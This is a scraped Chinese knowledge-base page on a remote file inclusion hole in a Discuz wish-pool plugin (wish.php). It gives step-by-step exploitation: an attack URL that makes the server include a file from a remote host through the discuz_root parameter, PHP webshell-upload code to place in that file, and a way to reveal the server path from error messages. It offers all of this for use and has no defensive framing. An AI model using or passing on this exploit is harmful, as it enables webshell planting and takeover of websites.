0514-86177077

9:00-17:00（工作日）

主页 > 知识库 > discuz许愿池插件远程包含漏洞

discuz许愿池插件远程包含漏洞
热门标签：怎么更改地图标注电话 宁夏保险智能外呼系统哪家好 防城港市ai电销机器人 随州销售外呼系统平台 激战黄昏地图标注说明 不同的地图标注 临沧移动外呼系统哪家有 温岭代理外呼系统 交行外呼系统有哪些
许愿池插件的wish.php文件出的问题：
require $discuz_root.'./include/discuzcode.func.php';

手工利用方法：
远程包含漏洞，变量discuz_root过滤不严，利用方法：
http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?
不一定非要txt后缀，可以改为任意后缀，后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去：
?copy($_FILES[MyFile][tmp_name],"C:\Inetpub\vhosts\baidu.com\bbs\guizai.php");?>
form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">
input NAME="MyFile" TYPE="file">
input VALUE=" 提交 " TYPE="submit">
/form>
网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ，看错误提示信息，然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。 

标签：青海 忻州 河源 无锡 哈密 沈阳 阜阳 红河

巨人网络通讯声明：本文标题《discuz许愿池插件远程包含漏洞》，本文关键词  discuz,许愿,池,插件,远程,；如发现本文内容存在版权问题，烦请提供相关信息告之我们，我们将及时沟通与处理。本站内容系统采集于网络，涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《discuz许愿池插件远程包含漏洞》相关的同类信息！
  • 本页收集关于discuz许愿池插件远程包含漏洞的相关信息资讯供网民参考！
    • 推荐文章

    上一篇：Discuz! 4.x SQL injection / admin credentials disclosure exploit

    下一篇：防止电脑被他人控制

    Copyright © 1999-2012 诚信 合法 规范的巨人网络通讯始建于2005年

    苏ICP备15040257号-8

    产品关键词： discuz许愿池插件远程包含漏洞 discuz,许愿,池,插件,远程,